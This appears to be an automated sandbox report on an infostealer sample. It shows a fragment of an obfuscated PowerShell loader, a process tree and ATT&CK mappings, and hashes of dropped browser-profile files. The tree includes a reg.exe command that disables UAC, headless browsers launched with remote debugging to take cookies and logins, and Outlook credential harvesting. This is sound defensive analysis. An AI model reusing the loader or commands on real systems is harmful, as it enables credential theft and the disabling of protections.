(Skatten 'Lr.r$ anggGouslTraaoIncaB djuapsilL.imo:chelUR.drNZinci NonT.nprER peAr,cib UtoIFileLKit iOverTsambY aps C,an=tape Concg rieDexttGyps-AeroCFartoUdm.n onsTWillePetrn StatNedf Kol$CorkgValkehderNAdopE ubsrReseAV.adLmindK S hoTankm idea uldnUn wDSmrfoPy oERdden');Drmaatten (Skatten 'Tryk$PoncgMagilProto L.vbsynda,jvll ce:S raKMonsa shrr Dg,lPervsA.givDeleoPaamgbecrnTrepeReflnU lusPomf Tot=Ford Udma[ c,yS Un y AucsK zatConte RekmMicr.MadpC FouoErhvn AlmvFormecounrEquitOphi]Liba:Kle : troF SamrP.anoW ltmImpeBDksmaEntrsFordeP st6Drap4F.gbSDowntBestrPolsiHoofnL rtgAffl(Endo$NonauUnbinG asiKnebtMeoseRiciaSprubEndoiMikrlPerri.rnutTitryKoll)');Drmaatten (Skatten 'Twen$SubsGu,eqlToldoRecob TidaB siLMill:V,evb Smre UndHTuria HavN,munDL.ndl riIBe eNIdeaGAngrsgudeMSe.eUOrdnl iddiS riGPec hNonreMousdS,utE,remRJu i Air=Ford Symb[KaalS I gyUncoS StotsujeEFo kmno.f.S vfTPrefEord.x KicTPlig. esaERu rnCartC D.soLiflDRe rI GlenSol.G oci] He : Ele: StiAbesks urvC quai HaaICumi. G aGRegnEJamrtNonpS nttM ljr F eIMetanSlidG Gen(Ordv$Scirk KolaDedirBrodlCondsEamoVTungORekvg isnHgtneh lintransUnde)');Drmaatten (Skatten 'Pala$DiblGUddeLNicooStorbFa eabedfL un:FrdiISandnReckdhanhERamrfFelseJosen Ki s alvIPilgBRaahLKnneET afNSnipEBaroSBrygS Ije=Osti$ isbB ForEMarkHPimpABar NUheldKaf,LPaneI WroN lobg,esis CowmSaddUMenil hemI KejgDusehInkweBlaaDBusieSpytr For.be.zSkognU Trub Co S NicTSm rrEfteInurtn B lg .ta(Bold$C.effRaa,aSvklNKlpugFortEPr.ilSlove Ra.jDiskRForseMedbnBlseS ,an, Kar$Gis,TBio y inlNInstdAllesForbT,tbeeVerbg ExoE MonNMedbSargu)');Drmaatten $Indefensibleness;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1956
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffde1bdcc40,0x7ffde1bdcc4c,0x7ffde1bdcc58
      4⤵
      PID:2428
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1912,i,8696246601736507669,10689383881106913814,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1908 /prefetch:2
      4⤵
      PID:3640
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1984,i,8696246601736507669,10689383881106913814,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2448 /prefetch:3
      4⤵
      PID:228
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2136,i,8696246601736507669,10689383881106913814,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2668 /prefetch:8
      4⤵
      PID:3588
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,8696246601736507669,10689383881106913814,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3168 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3520
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,8696246601736507669,10689383881106913814,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3236 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3228
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4588,i,8696246601736507669,10689383881106913814,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4524 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1752
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\aeetgtglmxghe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1852
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\lyjlhdreafymgvhr"
    3⤵
    PID:1660
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\lyjlhdreafymgvhr"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:3440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\naweiwcgonrzqjvuswq"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:3336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffdd32a46f8,0x7ffdd32a4708,0x7ffdd32a4718
      4⤵
      PID:4384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2044 /prefetch:2
      4⤵
      PID:1772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 /prefetch:3
      4⤵
      PID:4900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2812 /prefetch:8
      4⤵
      PID:5060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2064,484537779959911098,4618705774733676897,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1448
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\znejce.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3064

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2736

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3180

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2d74f3420d97c3324b6032942f3a9fa7

SHA1
95af9f165ffc370c5d654a39d959a8c4231122b9

SHA256
8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

SHA512
3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
7bcfcd2498b37c41505c6c6b10f82647

SHA1
6945a5f2d1c3712a67fc793263ba90f2b46ac0d5

SHA256
dfe2ff779e1e9469c26dc69f8c6c608d080b67d4f992709af9cc79506f772af4

SHA512
d7cf9650b140835450fc5ac2965fd2344e5b321b6bac1b0e1b02e6a5f4bd1951f6d095c63c1114bbc3aab3091f399822efff67890cc1866051035528f8189427

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
c9be14ce31bf826e66b888508d762e43

SHA1
de0dc95c0066742482906b46e72c6aa8eaca6bc6

SHA256
5cc46f3178726df310527c2f4bbad6496430f3e5d36d59ffd6a9e261c2fa04cd

SHA512
6574503dd5751f7cf8d1a6a21b44ffc8d76996192b9f96b6f91bdca1a8db8a3ea68ee57e04e0d38b72f4c52a08517219b767672b8c770f993dca06de3af74d91

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
9f0e817b32d9a5baa6b34c0f0e535793

SHA1
8413c1cd761e74772d4ed38fb9799961524375ee

SHA256
7ad8a804959d7c1bd96b215dc0e33f454afed37cd7e729e88f77f3d49410235e

SHA512
7324cf49789762df32d7886f002a01e982f3d1e1a9271b822e30522feef6474b2d124a9f984cd237fb06537a8602e282fe3056400f9bf586a404ebc611760e47

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index-dir\the-real-index

Filesize
48B

MD5
536df520b1243311bc53abd2b144188e

SHA1
c1a30ac2c7fd4ebb32cdb00b6b0748358362e42a

SHA256
fc55aa77263bd13b2aa4e1d52a884f961acf2db18de8d7dceea6c941749ae624

SHA512
1cc15f381a97adfa434ed9e3fbb7cc2f5d4fb96ad63d59dacf3d1b9bc57226258f47a360487163d154f7435c48c91d5f99b5d29ade94e8d92d5bdf5393fb71a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Extension State\LOG

Filesize
265B

MD5
d9f60c50141b415bddc51747de94dafa

SHA1
8dc4ab7c5c9c78ac8c671b16fc6280df0d51c9d9

SHA256
d09f853413e57c847029c04d689fa0ed72bc0bfc344813d7517dab04f80b2502

SHA512
25b70859e01deb041ea7efe9db59426b124877b5d6494867311dc8623d915bc0dcf044a7188d78d0e9b38a36d3ff51716834b9b60eb1d7dfc973ca3de6312b49

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
fcc49fe8d9064902413a1a105e19d56b

SHA1
5ea2ae8ce8351ddb20a7b2ff64ebe22d6f25e913

SHA256
f10a3a3f4c45e8a1653026c72f3402310661a3f3651f68fe7bda0e1516df34ab

SHA512
772736d8456cab057f9160f79505f0984c07c15abefee091ae1260dc28fadd4e694778fd94c57acf93eda19c82e0f5935c6a1164e5d6a6d3d4169f27fd13a2f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
c1daa813c22c791a6b0b10427d2d5de0

SHA1
75d56709781bc4bf121494a3bbcbd95f4faaa82d

SHA256
75bd496b5c5520756a3cc054262b933e7cccb9fa14992cfee5defe1d78622a26

SHA512
b055d61e00e74b98734acb400ba5103fbbd173a88399ff823e87fe493b2267f9c3d5d9bffacd81326dfdf8bdb9a1e500ec114ff5c03e30d853a11b37830d44a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
73d4fd251ad245cb360dbb79ac78e56d

SHA1
f3222b7e4df9d2c2bf90161fd58fffd3b7df7266

SHA256
db94da4e74723e32be1110610f5c447354af5eb612030e8a03e0ee55fbfd9232

SHA512
253743763c53a0715290a1be36698d2a14ae433f7c718e65ceae36a204183877d9a1d92baa3550ff7f4774ecaa5fdb01a79eb5fc4844c11214bb066be54eeb19

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
124130f2debd27d8536e3a5493357652

SHA1
7733b124717b3d482cdc49e83bb6a1e3e61363be

SHA256
83776a32a33916c54e0edd81a56ce84463890158f576c29ad8941b31b2ff31a3

SHA512
d46b502a762d65c9f911c3cf273000ab27465a7330489c127eee344d922e9791d31f81457370dc5290eafc95c94d4616de1e49e7bee315b26754445bbdebf090

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
f9af870f957901c875722261d7ba7bc9

SHA1
cc11dcad52f28004c370ce70d86863b27bb69c10

SHA256
532c3ed06a18cdcebed3491329c38603016c6e644161bdc55440792ccfdb2cea

SHA512
c661a57be29241b8b8773f4fe91b670bd3c72ebf5deaa0d24406bd369720643dfd39abc165075db6c8b91d252ec66daf97485fc53570293517dca4d70bae8c6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
82e41fc7a07b7ee07e79fade5d0eea03

SHA1
bf4514239df13de1ac7b776b4ffe15b779fac2d7

SHA256
30855ab2b7f9b9443e8dae6df7122adf96a77273362ce3a90689f06ff5f74d22

SHA512
9cd838a69c7a9dbe1273c1c4a0c669ef3b124fc9c01ee81b6362f6c62b138ee6f02066cedaf2b2832219c79eb5ca73ab8ba913a5475efbc0a54a1faccbf20032

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
a862864d10313a857f7f781ce1257f8d

SHA1
4ff234d2f84c5cc7f55ab4f88dfc4674a243351d

SHA256
3e2648a231880f6dbd989f6f17cb739d833ba2563ce85869873d29e568cb8ba2

SHA512
f7c8e1df09230c9d6cbbd8fe007bf458b0e13bbe8d7f7785a8f006bbd00aacdf253640e15be34ec2e35b2a7a649b9e440db0c70e2871db9cde7759974fb7235d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
2d3b6349c459ba4079c83124eddcf43e

SHA1
687c0941999a08cbb6ca6dd90edd4f408a946c0e

SHA256
958a04f9da6cc1944399567e01270ba3efe4cff71c594612e5844e87d7a6c521

SHA512
af8f823fd239b608427dca20ac0aa4282e9df43ba64509a9864e059a559ca2f2d36466c47932ebd94614c12d68999fa3d450a70d84ebbf4f4b5f26b05d4414ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
28f95c9b6768d32d945eb36a1fd7a07c

SHA1
53ac50531aadd81c59f44008fd38159485ba54b1

SHA256
f68df18736602a87cdee17c43192a220e0ec47df8f7951a13763ad0e080d8a8e

SHA512
1a8a757825e77564b86cf8d12484142b51cd24db8d19f999094bafb7412bb979a6a406e587bf235b045d9a4947bb191f48474513b3341473bd55acd2c0429387

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
3500c39cafef8c42e21c0eed0068acf0

SHA1
4acab10148c3cd8644497fb1e2671609db926832

SHA256
9b3cd3d94f1d2f873464301319e4dca3d34f7c549b3cd9ab868470202d1574d5

SHA512
a7b49f1755b5161a693d7ff4413469b684043ea236d225698838713bdb20b0fe8fc557c2500e1b7d0fde02bf945d356a636a2c0fff7097acf50246abec32f092

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
c5c09af77686f3fa4e0a6e4c45cc8a28

SHA1
25510536fb9cfe01d8d8d7c183a0177f9ce301d9

SHA256
962430178e16e330201a2046e36bb1d15c27f30a7f7710c6cc78b8f07345cd83

SHA512
b307b81b172537f254f7455bff042bb5c3ac6092fdfe2ce3e4012606e330de2a196cdb22ab1742dc5ff52d5e773c6b22955c4d610365339938fbb9b9d2ebbe48

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
1aec76eb73039b3151704c95cd1688d0

SHA1
27d18bba4e414c7d351c2bd75be47b96eda4f1aa

SHA256
8e82eda352bc34900b0986777fd8f483f3158b36e2b83c317847ecd6e6252b27

SHA512
778fb01e6d1b669d9cc21d5b48bc700175fe9908def1ac2cae7636616e6dec33c2a062a267d97bdf913ddbea7b7e169ca5a37c841202d99c36e86bfa19585a3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
293B

MD5
e5a202c4e9e796e0e49e3fe21fabd811

SHA1
2fc6e08c8495c9f4f0347bacebe82bacc9a7ebad

SHA256
1dc03bd4986c4d8d98f58608f5ce9a421599af5642347eb55d065754de7626a5

SHA512
eeef51532a8977e52928daf29bcb0e8d2796a3e228837d0f7498561402751ac2eecd6829b500abd1125599c5a8129a459d1505ce5275690b19dd18796a8414e8

Download Submit
